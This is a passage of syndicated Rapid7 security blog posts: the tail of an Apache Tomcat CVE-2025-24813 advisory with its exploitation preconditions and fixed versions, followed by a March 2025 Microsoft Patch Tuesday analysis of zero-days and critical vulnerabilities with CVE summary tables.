  • attacker knowledge of the names of security sensitive files being uploaded (ed: Rapid7 and other researchers found this to be unnecessary for exploitation)
  • the security sensitive files also being uploaded via partial PUT (ed: Rapid7 and other researchers found this to be unnecessary for exploitation)

An attacker could achieve remote code execution if ALL of the following were true:

  • writes enabled for the default servlet (disabled by default)
  • support for partial PUT (enabled by default)
  • application was using Tomcat’s file-based session persistence (ed: disabled by default) with the default storage location
  • application included a library that may be leveraged in a deserialization attack (ed: this is the case for many Java applications)

Mitigation guidance

The following versions of Apache Tomcat are affected:

  • Apache Tomcat 11.0.0-M1 to 11.0.2 (fixed in 11.0.3 or later)
  • Apache Tomcat 10.1.0-M1 to 10.1.34 (fixed in 10.1.35 or later)
  • Apache Tomcat 9.0.0.M1 to 9.0.98 (fixed in 9.0.99 or later)

For the latest information, please see the Apache Software Foundation’s advisory.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2025-24813 with pre-existing vulnerability checks.

Patch Tuesday – March 2025

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2025/03/11/patch-tuesday-march-2025/

Patch Tuesday - March 2025

Microsoft is addressing 57 vulnerabilities this March 2025 Patch Tuesday, which is a similar volume to last month. However, Microsoft has evidence of in-the-wild exploitation for as many as six of the vulnerabilities published today, and CISA KEV already lists all of them. Microsoft is also aware of public disclosure for one other vulnerability. This is now the sixth consecutive month where Microsoft has published zero-day vulnerabilities on Patch Tuesday without evaluating any of them as critical severity at time of publication. Today also sees the publication of six critical remote code execution (RCE) vulnerabilities. Ten browser vulnerabilities have already been published separately this month, and are not included in the total.

Win32 kernel subsystem: zero-day EoP

Older Windows products receive a patch today for CVE-2025-24983, which is an elevation of privilege vulnerability in the Win32 kernel subsystem. Microsoft is aware of exploitation in the wild. Since no user interaction is required, and successful exploitation leads to SYSTEM privileges, this isn’t one to ignore, even if the attacker must win a race condition, which does raise the bar for entry somewhat. Microsoft  Windows 11 and Server 2019 onwards are not listed as receiving patches, so are presumably not vulnerable. It’s not clear why newer Windows products dodged this particular bullet; the Windows 32 subsystem is still presumably alive and well, since there is no apparent mention of its demise on the Windows client OS deprecated features list.

NTFS USB attack: zero-day information disclosure

Defense-in-depth practitioners have been limiting and monitoring access to USB ports for years now, and today brings further evidence for the value of locking things down, in the form of CVE-2025-24984, an information disclosure vulnerability in NTFS. Microsoft has evidence of exploitation in the wild, and functional exploit code. This vulnerability has a thus-far-unique combination of attributes: the attack vector is physical — the advisory describes a malicious USB drive as the delivery mechanism — and the weakness is CWE-532: Insertion of Sensitive Information into Log File. The advisory doesn’t quite join the dots, but successful exploitation appears to mean that portions of heap memory could be improperly dumped into a log file, which could then be combed through by an attacker hungry for privileged information. A relatively low CVSSv3 base score of 4.6 reflects the practical difficulties of real-world exploitation, but a motivated attacker can sometimes achieve extraordinary results starting from the smallest of toeholds, and Microsoft does rate this vulnerability as important on its own proprietary severity ranking scale.

NTFS VHD attack: zero-day information disclosure

If you like NTFS zero-day vulnerabilities, then today’s your lucky day! CVE-2025-24991 describes an out-of-bounds read in NTFS leading to information disclosure, specifically disclosure of small portions of heap memory. An attacker would need to trick a user into mounting a malicious VHD (Virtual Hard Disk), and that alone would be enough to trigger the vulnerability. The advisory does not explain how the attacker would exfiltrate the data, but clearly it’s practically possible, since Microsoft claims evidence of exploitation in the wild.

NTFS VHD attack: zero-day code execution

If you like NTFS zero-day vulnerabilities, but find information disclosure a bit pedestrian, then CVE-2025-24993 might be just what you’re after: exploitation requires that the user mount a malicious VHD, which then leads to heap-based buffer overflow, and the potential for local code execution. As is standard for a certain type of code execution vulnerability, the advisory somewhat awkwardly clarifies that the word “remote” in the title refers to the location of the attacker, and that the attack itself is carried out locally. The advisory doesn’t specify the context of code execution, but it’s a safe assumption that the end goal here is SYSTEM, since the attacker or a user must already execute code in the context of the user to trigger the vulnerability. The CVSSv3 base score of 7.8 reflects the potentially valuable reward for exploitation and low attack complexity, but is held back by the requirement for user interaction.

Fast FAT VHD attack: zero-day code execution

The Windows Fast FAT file system driver is the site of CVE-2025-24985, which Microsoft describes as a code execution vulnerability. Exploitation requires that the user mount a malicious VHD, leading to integer overflow or wraparound. Microsoft claims to have confirmed evidence of exploitation in the wild. The acknowledgments sections for CVE-2025-24984, CVE-2025-24991, CVE-2025-24993, and CVE-2025-24985 all credit an anonymous reporter. More than likely this is the same entity in each case, given the similarities between the four vulnerabilities.

Microsoft Management Console: zero-day security feature bypass

It’s been a few months since we saw a zero-day vulnerability in the Microsoft Management Console, but today brings us CVE-2025-26633, a security feature bypass for which Microsoft is aware of exploitation in the wild, as well as functional exploit code floating around somewhere out there on the internet. Successful exploitation leads to an outcome which isn’t specified by the advisory, but since the Microsoft Management Console has a feature set which includes the creation, hosting, and distribution of custom tools for the administrative management of both hardware and software for any supported version of Windows, it’s easy enough to see why an attacker might be interested. The advisory does mention that both preparation of the target environment and subsequent user interaction are required for successful exploitation, which would require the user to open a malicious file.

Microsoft Access: zero-day code execution

CVE-2025-26630 describes a remote-but-actually-local code execution vulnerability in Microsoft Access. Exploitation requires that the user open a malicious file. Microsoft is aware of public disclosure, but considers exploitation less likely. The weakness is our old friend CWE-416: Use After Free. Beyond that, the advisory is short on detail, but does claim that the Preview Pane is not an attack vector, so that’s a silver lining for this particular cloud. Going by the acknowledgements section of the advisory, it seems likely that relative newcomer Unpatched.ai intends to continue to shake things up, since they were also credited with a trio of zero-day Access vulnerabilities published back in January.

WSL magic email attack: critical RCE

The Windows Subsystem for Linux (WSL2) kernel receives a patch today for an arbitrary code execution vulnerability. Microsoft doesn’t claim evidence of public disclosure or in-the-wild exploitation for CVE-2025-24084, but does rank it as critical using its own proprietary severity ranking scale, which goes beyond what the already-significant CVSSv3 base score of 8.4 would suggest. The advisory describes multiple possible attack vectors, but in the worst case, there is no requirement for user interaction, since simply receiving a malicious email would be enough to trigger the vulnerability. The advisory does not clarify the context of code execution, but the magic email attack vector is alarming. Patch accordingly.

Malicious RDP server: critical RCE

How much do you trust the RDP server you’re about to connect to? An attacker in control of a malicious RDP server simply has to wait for a client vulnerable to CVE-2025-26645 to connect in order to achieve remote code execution on the client. Microsoft has assigned a CVSSv3 base score of 8.8 and a severity ranking of critical. While none of us should be connecting to RDP servers we’re not familiar with, an attacker might well see CVE-2025-26645 as a great opportunity for lateral movement and footprint expansion through the network.

Microsoft lifecycle update

In Microsoft product lifecycle news, SQL Server 2019 moved from mainstream support to extended support on 2025-02-28. Looking ahead, Visual Studio App Center will be retired on 2025-03-31, and Dynamics GP 2015 moves past the end of extended support on 2025-04-08.

Summary charts

Patch Tuesday - March 2025
Patch Tuesday - March 2025
Patch Tuesday - March 2025

Summary tables

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-24049 Azure Command Line Integration (CLI) Elevation of Privilege Vulnerability No No 8.4
CVE-2025-26627 Azure Arc Installer Elevation of Privilege Vulnerability No No 7
CVE-2025-21199 Azure Agent Installer for Backup and Site Recovery Elevation of Privilege Vulnerability No No 6.7
CVE-2025-24986 Azure Promptflow Remote Code Execution Vulnerability No No 6.5

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-26643 Microsoft Edge (Chromium-based) Spoofing Vulnerability No No 5.4
CVE-2025-1923 Chromium: CVE-2025-1923 Inappropriate Implementation in Permission Prompts No No N/A
CVE-2025-1922 Chromium: CVE-2025-1922 Inappropriate Implementation in Selection No No N/A
CVE-2025-1921 Chromium: CVE-2025-1921 Inappropriate Implementation in Media Stream No No N/A
CVE-2025-1919 Chromium: CVE-2025-1919 Out of bounds read in Media No No N/A
CVE-2025-1918 Chromium: CVE-2025-1918 Out of bounds read in PDFium No No N/A
CVE-2025-1917 Chromium: CVE-2025-1917 Inappropriate Implementation in Browser UI No No N/A
CVE-2025-1916 Chromium: CVE-2025-1916 Use after free in Profiles No No N/A
CVE-2025-1915 Chromium: CVE-2025-1915 Improper Limitation of a Pathname to a Restricted Directory in DevTools No No N/A
CVE-2025-1914 Chromium: CVE-2025-1914 Out of bounds read in V8 No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-24043 WinDbg Remote Code Execution Vulnerability No No 7.5
CVE-2025-24998 Visual Studio Elevation of Privilege Vulnerability No No 7.3
CVE-2025-25003 Visual Studio Elevation of Privilege Vulnerability No No 7.3
CVE-2025-26631 Visual Studio Code Elevation of Privilege Vulnerability No No 7.3
CVE-2025-24070 ASP.NET Core and Visual Studio Elevation of Privilege Vulnerability No No 7

ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-24056 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-24051 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2025-26645 Remote Desktop Client Remote Code Execution Vulnerability No No 8.8
CVE-2025-24035 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2025-24045 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2025-24064 Windows Domain Name Service Remote Code Execution Vulnerability No No 8.1
CVE-2025-21180 Windows exFAT File System Remote Code Execution Vulnerability No No 7.8
CVE-2025-24044 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24993 Windows NTFS Remote Code Execution Vulnerability Yes No 7.8
CVE-2025-24985 Windows Fast FAT File System Driver Remote Code Execution Vulnerability Yes No 7.8
CVE-2025-24059 Windows Common Log File System Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24072 Microsoft Local Security Authority (LSA) Server Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24071 Microsoft Windows File Explorer Spoofing Vulnerability No No 7.5
CVE-2025-24983 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability Yes No 7
CVE-2025-26633 Microsoft Management Console Security Feature Bypass Vulnerability Yes No 7
CVE-2025-24987 Windows USB Video Class System Driver Elevation of Privilege Vulnerability No No 6.6
CVE-2025-24988 Windows USB Video Class System Driver Elevation of Privilege Vulnerability No No 6.6
CVE-2025-24996 NTLM Hash Disclosure Spoofing Vulnerability No No 6.5
CVE-2025-24054 NTLM Hash Disclosure Spoofing Vulnerability No No 6.5
CVE-2025-24991 Windows NTFS Information Disclosure Vulnerability Yes No 5.5
CVE-2025-24992 Windows NTFS Information Disclosure Vulnerability No No 5.5
CVE-2025-24984 Windows NTFS Information Disclosure Vulnerability Yes No 4.6
CVE-2025-24055 Windows USB Video Class System Driver Information Disclosure Vulnerability No No 4.3
CVE-2025-21247 MapUrlToZone Security Feature Bypass Vulnerability No No 4.3
CVE-2024-9157 Synaptics: CVE-2024-9157 Synaptics Service Binaries DLL Loading Vulnerability No No N/A

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-24077 Microsoft Word Remote Code Execution Vulnerability No No 7.8
CVE-2025-24079 Microsoft Word Remote Code Execution Vulnerability No No 7.8
CVE-2025-24057 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-24080 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-24083 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-26629 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-24081 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-24082 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-24075 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-26630 Microsoft Access Remote Code Execution Vulnerability No Yes 7.8
CVE-2025-24078 Microsoft Word Remote Code Execution Vulnerability No No 7

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-24084 Windows Subsystem for Linux (WSL2) Kernel Remote Code Execution Vulnerability No No 8.4
CVE-2025-24061 Windows Mark of the Web Security Feature Bypass Vulnerability No No 7.8
CVE-2025-24048 Windows Hyper-V Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24050 Windows Hyper-V Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24995 Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24046 Kernel Streaming Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24066 Kernel Streaming Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24067 Kernel Streaming Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-24076 Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability No No 7.3
CVE-2025-24994 Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability No No 7.3
CVE-2025-25008 Windows Server Elevation of Privilege Vulnerability No No 7.1
CVE-2025-24997 DirectX Graphics Kernel File Denial of Service Vulnerability No No 4.4